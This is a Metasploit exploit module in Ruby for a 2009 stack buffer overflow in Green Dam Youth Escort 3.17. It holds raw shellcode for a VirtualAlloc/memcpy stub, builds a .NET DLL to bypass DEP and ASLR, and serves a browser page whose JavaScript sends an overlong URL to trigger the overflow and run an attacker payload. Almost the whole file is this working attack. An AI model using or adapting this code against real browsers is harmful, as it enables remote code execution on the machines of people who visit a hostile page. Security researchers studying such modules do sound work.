##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

##
# greendam_url.rb
#
# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
#
# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
#  - Internet Explorer 6, Windows XP SP2
#  - Internet Explorer 7, Windows XP SP3
#  - Internet Explorer 7, Windows Vista SP1
#
# .NET binary is used to bypass DEP and ASLR
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Green Dam URL Processing Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in Green Dam Youth Escort
				version 3.17 in the way it handles overly long URLs.
				By setting an overly long URL, an attacker can overrun a buffer and execute
				arbitrary code. This module uses the .NET DLL memory technique by Alexander
				Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
			'References'     =>
				[
					['OSVDB', '55126'],
					['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'],		# Analysis of the Green Dam Censorware System
					['EDB', '8938'],		# Original exploit by seer[N.N.U]
					['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],	# .NET DLL memory technique
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500,

					# Temporary stub virtualalloc() + memcpy() payload to RWX page
					'PrependEncoder' =>
						"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
						"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
						"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
						"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
						"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
						"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
						"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
						"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
						"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
						"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
				],
			'DisclosureDate' => 'Jun 11 2009',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)

		ibase = 0x24240000
		vaddr = ibase + 0x2065

		if (request.uri.match(/\.dll$/i))

			print_status("Sending .NET DLL")

			return if ((p = regenerate_payload(cli)) == nil)

			# First entry points to the table of pointers
			vtable  = [ vaddr + 4 ].pack("V")
			cbase   = ibase + 0x2065 + (256 * 4)

			# Build a function table
			255.times { vtable << [cbase].pack("V") }

			# Append the shellcode
			vtable << p.encoded
			send_response(
				cli,
				Msf::Util::EXE.to_dotnetmem(ibase, vtable),
				{
					'Content-Type' => 'application/x-msdownload',
					'Connection'   => 'close',
					'Pragma'       => 'no-cache'
				}
			)
			return
		end

		print_status("Sending #{self.name} HTML")

		j_function	= rand_text_alpha(rand(100)+1)
		j_url		= rand_text_alpha(rand(100)+1)
		j_counter	= rand_text_alpha(rand(30)+2)

		if ("/" == get_resource[-1,1])
			dll_uri = get_resource[0, get_resource.length - 1]
		else
			dll_uri = get_resource
		end
		dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"

		html = %Q|<html>
<head>
<script language="javascript">
	function #{j_function}() {
		var #{j_url}='';
		for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
			#{j_url}+='$';

		window.location=#{j_url}+'.html';
	}
</script>
</head>
<body onload="#{j_function}()">
	<object classid="#{dll_uri}#GenericControl">
	<object>
</body>
</html>
		|

		# Transmit the compressed response to the client
		send_response(cli, html, { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end
end
